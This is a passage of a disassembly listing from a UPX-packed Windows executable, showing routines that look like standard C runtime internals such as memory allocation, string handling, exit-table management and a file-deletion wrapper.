short locret_40B11D push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B05D locret_40B11D: ; CODE XREF: sub_40B106+4j retn sub_40B106 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B11E proc near ; CODE XREF: sub_40DD8A+17p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_42E3DC, eax pop ebp retn sub_40B11E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B12D proc near ; CODE XREF: sub_40B255+21j ; sub_40DDD8+87p ... var_328 = dword ptr -328h var_324 = dword ptr -324h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 328h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax and [ebp+var_328], 0 push ebx push 4Ch lea eax, [ebp+var_324] push 0 push eax call sub_40BD40 lea eax, [ebp+var_328] mov [ebp+var_2D8], eax lea eax, [ebp+var_2D0] add esp, 0Ch mov [ebp+var_2D4], eax mov [ebp+var_220], eax mov [ebp+var_224], ecx mov [ebp+var_228], edx mov [ebp+var_22C], ebx mov [ebp+var_230], esi mov [ebp+var_234], edi mov [ebp+var_208], ss mov [ebp+var_214], cs mov [ebp+var_238], ds mov [ebp+var_23C], es mov [ebp+var_240], fs mov [ebp+var_244], gs pushf pop [ebp+var_210] mov eax, [ebp+4] lea ecx, [ebp+4] mov [ebp+var_2D0], 10001h mov [ebp+var_218], eax mov [ebp+var_20C], ecx mov ecx, [ecx-4] mov [ebp+var_21C], ecx mov [ebp+var_328], 0C0000417h mov [ebp+var_324], 1 mov [ebp+var_31C], eax call dword_41D1A8 ; IsDebuggerPresent push 0 mov ebx, eax call dword_41D1AC ; SetUnhandledExceptionFilter lea eax, [ebp+var_2D8] push eax call dword_41D1B0 ; UnhandledExceptionFilter test eax, eax jnz short loc_40B236 test ebx, ebx jnz short loc_40B236 push 2 call sub_40E0C0 pop ecx loc_40B236: ; CODE XREF: sub_40B12D+FBj ; sub_40B12D+FFj push 0C0000417h call dword_41D214 ; GetCurrentProcess push eax call dword_41D1B4 ; TerminateProcess mov ecx, [ebp+var_4] xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_40B12D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B255 proc near ; CODE XREF: sub_40AC49+24p ; sub_40B27B+7p ... mov edi, edi push ebp mov ebp, esp push dword_42E3DC call sub_40E143 pop ecx test eax, eax jz short loc_40B26D pop ebp jmp eax ; --------------------------------------------------------------------------- loc_40B26D: ; CODE XREF: sub_40B255+13j push 2 call sub_40E0C0 pop ecx pop ebp jmp sub_40B12D sub_40B255 endp ; =============== S U B R O U T I N E ======================================= sub_40B27B proc near ; CODE XREF: sub_4051B7+3Dp ; sub_4052D2:loc_4052DCp ... xor eax, eax push eax push eax push eax push eax push eax call sub_40B255 add esp, 14h retn sub_40B27B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B28B proc near ; CODE XREF: sub_404C2B+28p ; sub_40A1BD+9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_4] push ebx xor ebx, ebx cmp ecx, ebx jbe short loc_40B2C2 push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, [ebp+arg_8] jnb short loc_40B2C2 call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 0Ch call sub_40B255 add esp, 14h xor eax, eax jmp short loc_40B303 ; --------------------------------------------------------------------------- loc_40B2C2: ; CODE XREF: sub_40B28B+Dj ; sub_40B28B+19j imul ecx, [ebp+arg_8] push esi push edi mov esi, ecx cmp [ebp+arg_0], ebx jz short loc_40B2DA push [ebp+arg_0] call sub_40E665 pop ecx mov ebx, eax loc_40B2DA: ; CODE XREF: sub_40B28B+42j push esi push [ebp+arg_0] call sub_40B8A1 mov edi, eax pop ecx pop ecx test edi, edi jz short loc_40B2FF cmp ebx, esi jnb short loc_40B2FF sub esi, ebx push esi push 0 add ebx, edi push ebx call sub_40BD40 add esp, 0Ch loc_40B2FF: ; CODE XREF: sub_40B28B+5Ej ; sub_40B28B+62j mov eax, edi pop edi pop esi loc_40B303: ; CODE XREF: sub_40B28B+35j pop ebx pop ebp retn sub_40B28B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B306 proc near ; CODE XREF: sub_4019F2+7Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset dword_426858 call __SEH_prolog4 xor eax, eax mov [ebp+var_20], eax mov [ebp+ms_exc.disabled], eax mov [ebp+var_1C], eax loc_40B31D: ; CODE XREF: sub_40B306+30j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_8] jge short loc_40B338 mov esi, [ebp+arg_0] mov ecx, esi call [ebp+arg_C] add esi, [ebp+arg_4] mov [ebp+arg_0], esi inc [ebp+var_1C] jmp short loc_40B31D ; --------------------------------------------------------------------------- loc_40B338: ; CODE XREF: sub_40B306+1Dj mov [ebp+var_20], 1 mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B353 call __SEH_epilog4 retn 14h sub_40B306 endp ; =============== S U B R O U T I N E ======================================= sub_40B353 proc near ; CODE XREF: sub_40B306+40p ; DATA XREF: UPX0:00426870o cmp dword ptr [ebp-20h], 0 jnz short locret_40B36A push dword ptr [ebp+18h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B05D locret_40B36A: ; CODE XREF: sub_40B353+4j retn sub_40B353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B36B proc near ; CODE XREF: sub_401B6E+35p ; sub_40500B+1AFFp ... mov edi, edi push ebp mov ebp, esp pop ebp jmp sub_40AC11 sub_40B36B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B376 proc near ; CODE XREF: sub_4010AC+1Ep ; sub_401125+10p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_C] push edi xor edi, edi cmp esi, edi jnz short loc_40B38A loc_40B386: ; CODE XREF: sub_40B376+4Dj xor eax, eax jmp short loc_40B3EF ; --------------------------------------------------------------------------- loc_40B38A: ; CODE XREF: sub_40B376+Ej cmp [ebp+arg_0], edi jnz short loc_40B3AA loc_40B38F: ; CODE XREF: sub_40B376+61j call sub_40C862 push 16h pop esi mov [eax], esi loc_40B399: ; CODE XREF: sub_40B376+74j push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h mov eax, esi jmp short loc_40B3EF ; --------------------------------------------------------------------------- loc_40B3AA: ; CODE XREF: sub_40B376+17j cmp [ebp+arg_8], edi jz short loc_40B3C5 cmp [ebp+arg_4], esi jb short loc_40B3C5 push esi push [ebp+arg_8] push [ebp+arg_0] call sub_40E710 add esp, 0Ch jmp short loc_40B386 ; --------------------------------------------------------------------------- loc_40B3C5: ; CODE XREF: sub_40B376+37j ; sub_40B376+3Cj push [ebp+arg_4] push edi push [ebp+arg_0] call sub_40BD40 add esp, 0Ch cmp [ebp+arg_8], edi jz short loc_40B38F cmp [ebp+arg_4], esi jnb short loc_40B3EC call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40B399 ; --------------------------------------------------------------------------- loc_40B3EC: ; CODE XREF: sub_40B376+66j push 16h pop eax loc_40B3EF: ; CODE XREF: sub_40B376+12j ; sub_40B376+32j pop edi pop esi pop ebp retn sub_40B376 endp ; =============== S U B R O U T I N E ======================================= sub_40B3F3 proc near ; CODE XREF: sub_40B403+8p mov edi, edi push ecx mov dword ptr [ecx], offset off_41D588 call sub_40EA75 pop ecx retn sub_40B3F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B403 proc near ; DATA XREF: UPX0:off_41D588o arg_0 = byte ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, ecx call sub_40B3F3 test [ebp+arg_0], 1 jz short loc_40B41D push esi call sub_40AC11 pop ecx loc_40B41D: ; CODE XREF: sub_40B403+11j mov eax, esi pop esi pop ebp retn 4 sub_40B403 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B424 proc near ; CODE XREF: sub_410A1C+12Bp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] add ecx, 9 push ecx add eax, 9 push eax call sub_40EAF0 neg eax pop ecx sbb eax, eax pop ecx inc eax pop ebp retn 4 sub_40B424 endp ; =============== S U B R O U T I N E ======================================= sub_40B444 proc near ; CODE XREF: sub_40B45F+3Dp mov edi, edi push esi push 1 push offset off_42A02C mov esi, ecx call sub_40AD0A mov dword ptr [esi], offset off_41D4DC mov eax, esi pop esi retn sub_40B444 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B45F proc near ; CODE XREF: sub_401652+24p ; sub_403FBF+29p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 0Ch jmp short loc_40B476 ; --------------------------------------------------------------------------- loc_40B469: ; CODE XREF: sub_40B45F+22j push [ebp+arg_0] call sub_40DFCB pop ecx test eax, eax jz short loc_40B485 loc_40B476: ; CODE XREF: sub_40B45F+8j push [ebp+arg_0] call sub_40AEA5 pop ecx test eax, eax jz short loc_40B469 leave retn ; --------------------------------------------------------------------------- loc_40B485: ; CODE XREF: sub_40B45F+15j test byte ptr dword_42E3EC, 1 mov esi, offset dword_42E3E0 jnz short loc_40B4AC or dword_42E3EC, 1 mov ecx, esi call sub_40B444 push offset loc_41C8CB call sub_40B770 pop ecx loc_40B4AC: ; CODE XREF: sub_40B45F+32j push esi lea ecx, [ebp+var_C] call sub_407019 push offset dword_426E80 lea eax, [ebp+var_C] push eax call sub_40C03B int 3 ; Trap to Debugger sub_40B45F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4C4 proc near ; CODE XREF: sub_417173+48p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dx, [ebp+arg_4] jmp short loc_40B4D9 ; --------------------------------------------------------------------------- loc_40B4D2: ; CODE XREF: sub_40B4C4+1Bj cmp cx, dx jz short loc_40B4E8 inc eax inc eax loc_40B4D9: ; CODE XREF: sub_40B4C4+Cj movzx ecx, word ptr [eax] test cx, cx jnz short loc_40B4D2 cmp [eax], dx jz short loc_40B4E8 xor eax, eax loc_40B4E8: ; CODE XREF: sub_40B4C4+11j ; sub_40B4C4+20j pop ebp retn sub_40B4C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4EA proc near ; CODE XREF: sub_4080FF+103p ; sub_4083DE+417p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi xor edi, edi cmp [ebp+arg_C], edi jnz short loc_40B50C cmp esi, edi jnz short loc_40B510 cmp [ebp+arg_4], edi jnz short loc_40B517 loc_40B505: ; CODE XREF: sub_40B4EA+52j ; sub_40B4EA+A1j xor eax, eax loc_40B507: ; CODE XREF: sub_40B4EA+46j ; sub_40B4EA+BAj pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40B50C: ; CODE XREF: sub_40B4EA+10j cmp esi, edi jz short loc_40B517 loc_40B510: ; CODE XREF: sub_40B4EA+14j mov ebx, [ebp+arg_4] cmp ebx, edi ja short loc_40B532 loc_40B517: ; CODE XREF: sub_40B4EA+19j ; sub_40B4EA+24j ... call sub_40C862 push 16h pop esi mov [eax], esi loc_40B521: ; CODE XREF: sub_40B4EA+CEj push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h mov eax, esi jmp short loc_40B507 ; --------------------------------------------------------------------------- loc_40B532: ; CODE XREF: sub_40B4EA+2Bj cmp [ebp+arg_C], edi jnz short loc_40B53E xor eax, eax mov [esi], ax jmp short loc_40B505 ; --------------------------------------------------------------------------- loc_40B53E: ; CODE XREF: sub_40B4EA+4Bj mov edx, [ebp+arg_8] cmp edx, edi jnz short loc_40B54C xor eax, eax mov [esi], ax jmp short loc_40B517 ; --------------------------------------------------------------------------- loc_40B54C: ; CODE XREF: sub_40B4EA+59j cmp [ebp+arg_C], 0FFFFFFFFh mov eax, esi jnz short loc_40B568 loc_40B554: ; CODE XREF: sub_40B4EA+7Aj movzx ecx, word ptr [edx] mov [eax], cx inc eax inc eax inc edx inc edx cmp cx, di jz short loc_40B589 dec ebx jnz short loc_40B554 jmp short loc_40B589 ; --------------------------------------------------------------------------- loc_40B568: ; CODE XREF: sub_40B4EA+68j ; sub_40B4EA+93j movzx ecx, word ptr [edx] mov [eax], cx inc eax inc eax inc edx inc edx cmp cx, di jz short loc_40B57F dec ebx jz short loc_40B57F dec [ebp+arg_C] jnz short loc_40B568 loc_40B57F: ; CODE XREF: sub_40B4EA+8Bj ; sub_40B4EA+8Ej cmp [ebp+arg_C], edi jnz short loc_40B589 xor ecx, ecx mov [eax], cx loc_40B589: ; CODE XREF: sub_40B4EA+77j ; sub_40B4EA+7Cj ... cmp ebx, edi jnz loc_40B505 xor eax, eax cmp [ebp+arg_C], 0FFFFFFFFh jnz short loc_40B5A9 mov ecx, [ebp+arg_4] push 50h mov [esi+ecx*2-2], ax pop eax jmp loc_40B507 ; --------------------------------------------------------------------------- loc_40B5A9: ; CODE XREF: sub_40B4EA+ADj mov [esi], ax call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp loc_40B521 sub_40B4EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5BD proc near ; CODE XREF: sub_408E29+12p ; sub_40A5F1+55p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40EB78 mov esi, eax add esp, 0Ch test esi, esi jnz short loc_40B5F8 cmp [ebp+var_4], eax jz short loc_40B5F8 call sub_40C862 test eax, eax jz short loc_40B5F8 call sub_40C862 mov ecx, [ebp+var_4] mov [eax], ecx loc_40B5F8: ; CODE XREF: sub_40B5BD+21j ; sub_40B5BD+26j ... mov eax, esi pop esi leave retn sub_40B5BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5FD proc near ; CODE XREF: sub_408FB6+1A1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx jnz short loc_40B629 loc_40B60C: ; CODE XREF: sub_40B5FD+2Ej ; sub_40B5FD+35j ... call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B629: ; CODE XREF: sub_40B5FD+Dj cmp [ecx], bl jz short loc_40B60C mov eax, [ebp+arg_4] cmp eax, ebx jz short loc_40B60C cmp [eax], bl jz short loc_40B60C push ebx lea eax, [ebp+arg_4] push eax push ecx call sub_40ED0F add esp, 0Ch loc_40B646: ; CODE XREF: sub_40B5FD+2Aj pop ebx pop ebp retn sub_40B5FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B649 proc near ; CODE XREF: sub_40B734+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ecx push ebx push esi push edi push dword_43026C call sub_40E143 push dword_430268 mov edi, eax mov [ebp+var_4], edi call sub_40E143 mov esi, eax pop ecx pop ecx cmp esi, edi jb loc_40B6FC mov ebx, esi sub ebx, edi lea eax, [ebx+4] cmp eax, 4 jb short loc_40B6FC push edi call sub_40E665 mov edi, eax lea eax, [ebx+4] pop ecx cmp edi, eax jnb short loc_40B6DD mov eax, 800h cmp edi, eax jnb short loc_40B6A0 mov eax, edi loc_40B6A0: ; CODE XREF: sub_40B649+53j add eax, edi cmp eax, edi jb short loc_40B6B5 push eax push [ebp+var_4] call sub_40EFBB pop ecx pop ecx test eax, eax jnz short loc_40B6CB loc_40B6B5: ; CODE XREF: sub_40B649+5Bj lea eax, [edi+10h] cmp eax, edi jb short loc_40B6FC push eax push [ebp+var_4] call sub_40EFBB pop ecx pop ecx test eax, eax jz short loc_40B6FC loc_40B6CB: ; CODE XREF: sub_40B649+6Aj sar ebx, 2 push eax lea esi, [eax+ebx*4] call sub_40E0C8 pop ecx mov dword_43026C, eax loc_40B6DD: ; CODE XREF: sub_40B649+4Aj push [ebp+arg_0] call sub_40E0C8 mov [esi], eax add esi, 4 push esi call sub_40E0C8 pop ecx mov dword_430268, eax mov eax, [ebp+arg_0] pop ecx jmp short loc_40B6FE ; --------------------------------------------------------------------------- loc_40B6FC: ; CODE XREF: sub_40B649+2Aj ; sub_40B649+3Aj ... xor eax, eax loc_40B6FE: ; CODE XREF: sub_40B649+B1j pop edi pop esi pop ebx leave retn sub_40B649 endp ; --------------------------------------------------------------------------- byte_40B703 db 8Bh, 0FFh ; DATA XREF: UPX0:0041D3FCo ; --------------------------------------------------------------------------- push esi push 4 push 20h call sub_40EF6F mov esi, eax push esi call sub_40E0C8 add esp, 0Ch mov dword_43026C, eax mov dword_430268, eax test esi, esi jnz short loc_40B72D push 18h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40B72D: ; CODE XREF: UPX0:0040B726j and dword ptr [esi], 0 xor eax, eax pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B734 proc near ; CODE XREF: sub_40B770+8p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_426878 call __SEH_prolog4 call sub_40DB3C and [ebp+ms_exc.disabled], 0 push [ebp+arg_0] call sub_40B649 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B76A mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40B734 endp ; =============== S U B R O U T I N E ======================================= sub_40B76A proc near ; CODE XREF: sub_40B734+28p ; DATA XREF: UPX0:00426890o call sub_40DB45 retn sub_40B76A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B770 proc near ; CODE XREF: sub_40B45F+47p ; sub_40DB8F+46p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push [ebp+arg_0] call sub_40B734 neg eax sbb eax, eax neg eax pop ecx dec eax pop ebp retn sub_40B770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B787 proc near ; CODE XREF: sub_417173+2Cp ; sub_4173E1+80p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] cmp word ptr [ebx], 0 push edi mov edi, eax jz short loc_40B7E0 movzx ecx, word ptr [eax] test cx, cx jz short loc_40B7DE movzx edx, cx sub eax, ebx loc_40B7A9: ; CODE XREF: sub_40B787+55j mov ecx, [ebp+arg_4] test dx, dx jz short loc_40B7CC loc_40B7B1: ; CODE XREF: sub_40B787+43j movzx edx, word ptr [ecx] test dx, dx jz short loc_40B7E4 movzx ebx, word ptr [eax+ecx] movzx edx, dx sub ebx, edx jnz short loc_40B7CC inc ecx inc ecx cmp [eax+ecx], bx jnz short loc_40B7B1 loc_40B7CC: ; CODE XREF: sub_40B787+28j ; sub_40B787+3Bj cmp word ptr [ecx], 0 jz short loc_40B7E4 inc edi inc edi movzx edx, word ptr [edi] inc eax inc eax test dx, dx jnz short loc_40B7A9 loc_40B7DE: ; CODE XREF: sub_40B787+1Bj xor eax, eax loc_40B7E0: ; CODE XREF: sub_40B787+13j ; sub_40B787+5Fj pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40B7E4: ; CODE XREF: sub_40B787+30j ; sub_40B787+49j mov eax, edi jmp short loc_40B7E0 sub_40B787 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7E8 proc near ; CODE XREF: sub_40B83C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_40B7FE push 2Dh pop edx mov [ecx], dx add ecx, 2 neg eax loc_40B7FE: ; CODE XREF: sub_40B7E8+9j push esi mov esi, ecx loc_40B801: ; CODE XREF: sub_40B7E8+32j xor edx, edx div [ebp+arg_0] cmp edx, 9 jbe short loc_40B810 add edx, 57h jmp short loc_40B813 ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: sub_40B7E8+21j add edx, 30h loc_40B813: ; CODE XREF: sub_40B7E8+26j mov [ecx], dx inc ecx inc ecx test eax, eax ja short loc_40B801 xor eax, eax mov [ecx], ax dec ecx dec ecx loc_40B823: ; CODE XREF: sub_40B7E8+4Dj mov dx, [esi] movzx eax, word ptr [ecx] mov [ecx], dx dec ecx mov [esi], ax dec ecx inc esi inc esi cmp esi, ecx jb short loc_40B823 pop esi pop ebp retn 8 sub_40B7E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B83C proc near ; CODE XREF: sub_40971E+19p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah mov eax, [ebp+arg_0] jnz short loc_40B854 test eax, eax jge short loc_40B854 push 1 push 0Ah jmp short loc_40B859 ; --------------------------------------------------------------------------- loc_40B854: ; CODE XREF: sub_40B83C+Cj ; sub_40B83C+10j push 0 push [ebp+arg_8] loc_40B859: ; CODE XREF: sub_40B83C+16j mov ecx, [ebp+arg_4] call sub_40B7E8 mov eax, [ebp+arg_4] pop ebp retn sub_40B83C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B866 proc near ; CODE XREF: sub_40B896+6j arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push [ebp+arg_0] call dword_41D1A4 ; DeleteFileA test eax, eax jnz short loc_40B880 call dword_41D1D8 ; RtlGetLastWin32Error jmp short loc_40B882 ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: sub_40B866+10j xor eax, eax loc_40B882: ; CODE XREF: sub_40B866+18j test eax, eax jz short loc_40B892 push eax call sub_40C888 pop ecx or eax, 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_40B892: ; CODE XREF: sub_40B866+1Ej xor eax, eax pop ebp retn sub_40B866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B896 proc near ; CODE XREF: sub_408FB6+84p mov edi, edi push ebp mov ebp, esp pop ebp jmp sub_40B866 sub_40B896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8A1 proc near ; CODE XREF: sub_40B28B+53p ; sub_40EFBB+Fp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0040B9EE SIZE 000000CE BYTES push 10h push offset dword_426898 call __SEH_prolog4 mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_40B8C2 push [ebp+arg_4] call sub_40AEA5 pop ecx jmp loc_40BA8E ; --------------------------------------------------------------------------- loc_40B8C2: ; CODE XREF: sub_40B8A1+11j mov esi, [ebp+arg_4] test esi, esi jnz short loc_40B8D5 push ebx call sub_40ADC8 pop ecx jmp loc_40BA8C ; --------------------------------------------------------------------------- loc_40B8D5: ; CODE XREF: sub_40B8A1+26j cmp dword_430290, 3 jnz loc_40BA75 loc_40B8E2: ; CODE XREF: sub_40B8A1+169j xor edi, edi mov [ebp+var_1C], edi cmp esi, 0FFFFFFE0h ja loc_40BA7A push 4 call sub_40CFA9 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40CFDC pop ecx mov [ebp+var_20], eax cmp eax, edi jz loc_40B9AB cmp esi, dword_430280 ja short loc_40B95E push esi push ebx push eax call sub_40D4DA add esp, 0Ch test eax, eax jz short loc_40B929 mov [ebp+var_1C], ebx jmp short loc_40B95E ; --------------------------------------------------------------------------- loc_40B929: ; CODE XREF: sub_40B8A1+81j push esi call sub_40D7BB pop ecx mov [ebp+var_1C], eax cmp eax, edi jz short loc_40B95E mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40B941 mov eax, esi loc_40B941: ; CODE XREF: sub_40B8A1+9Cj push eax push ebx push [ebp+var_1C] call sub_40E710 push ebx call sub_40CFDC mov [ebp+var_20], eax push ebx push eax call sub_40D00C add esp, 18h loc_40B95E: ; CODE XREF: sub_40B8A1+72j ; sub_40B8A1+86j ... cmp [ebp+var_1C], edi jnz short loc_40B9AB cmp esi, edi jnz short loc_40B96D xor esi, esi inc esi mov [ebp+arg_4], esi loc_40B96D: ; CODE XREF: sub_40B8A1+C4j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_42E724 call dword_41D0D4 ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, edi jz short loc_40B9AB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_40B995 mov eax, esi loc_40B995: ; CODE XREF: sub_40B8A1+F0j push eax push ebx push [ebp+var_1C] call sub_40E710 push ebx push [ebp+var_20] call sub_40D00C add esp, 14h loc_40B9AB: ; CODE XREF: sub_40B8A1+66j ; sub_40B8A1+C0j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B9E5 cmp [ebp+var_20], 0 jnz short loc_40B9EE test esi, esi jnz short loc_40B9C2 inc esi loc_40B9C2: ; CODE XREF: sub_40B8A1+11Ej add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push 0 push dword_42E724 call dword_41D1A0 ; RtlReAllocateHeap mov edi, eax jmp short loc_40B9F1 sub_40B8A1 endp ; =============== S U B R O U T I N E ======================================= sub_40B9DF proc near ; DATA XREF: UPX0:004268B0o mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_40B9DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B9E5 proc near ; CODE XREF: sub_40B8A1+111p push 4 call sub_40CECF pop ecx retn sub_40B9E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40B8A1 loc_40B9EE: ; CODE XREF: sub_40B8A1+11Aj mov edi, [ebp+var_1C] loc_40B9F1: ; CODE XREF: sub_40B8A1+13Cj test edi, edi jnz loc_40BAB8 cmp dword_42EBC8, edi jz short loc_40BA2D push esi call sub_40DFCB pop ecx test eax, eax jnz loc_40B8E2 call sub_40C862 cmp [ebp+var_20], edi jnz short loc_40BA86 loc_40BA1A: ; CODE XREF: sub_40B8A1+1F8j mov esi, eax call dword_41D1D8 ; RtlGetLastWin32Error push eax call sub_40C820 pop ecx mov [esi], eax jmp short loc_40BA8C ; --------------------------------------------------------------------------- loc_40BA2D: ; CODE XREF: sub_40B8A1+15Ej test edi, edi jnz loc_40BAB8 call sub_40C862 cmp [ebp+var_20], edi jz short loc_40BAA7 mov dword ptr [eax], 0Ch jmp short loc_40BAB8 ; --------------------------------------------------------------------------- loc_40BA47: ; CODE XREF: sub_40B8A1+1D7j test esi, esi jnz short loc_40BA4C inc esi loc_40BA4C: ; CODE XREF: sub_40B8A1+1A8j push esi push ebx push 0 push dword_42E724 call dword_41D1A0 ; RtlReAllocateHeap mov edi, eax test edi, edi jnz short loc_40BAB8 cmp dword_42EBC8, eax jz short loc_40BA9E push esi call sub_40DFCB pop ecx test eax, eax jz short loc_40BA94 loc_40BA75: ; CODE XREF: sub_40B8A1+3Bj cmp esi, 0FFFFFFE0h jbe short loc_40BA47 loc_40BA7A: ; CODE XREF: sub_40B8A1+49j push esi call sub_40DFCB pop ecx call sub_40C862 loc_40BA86: ; CODE XREF: sub_40B8A1+177j mov dword ptr [eax], 0Ch loc_40BA8C: ; CODE XREF: sub_40B8A1+2Fj ; sub_40B8A1+18Aj xor eax, eax loc_40BA8E: ; CODE XREF: sub_40B8A1+1Cj ; sub_40B8A1+219j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40BA94: ; CODE XREF: sub_40B8A1+1D2j call sub_40C862 jmp loc_40BA1A ; --------------------------------------------------------------------------- loc_40BA9E: ; CODE XREF: sub_40B8A1+1C7j test edi, edi jnz short loc_40BAB8 call sub_40C862 loc_40BAA7: ; CODE XREF: sub_40B8A1+19Cj mov esi, eax call dword_41D1D8 ; 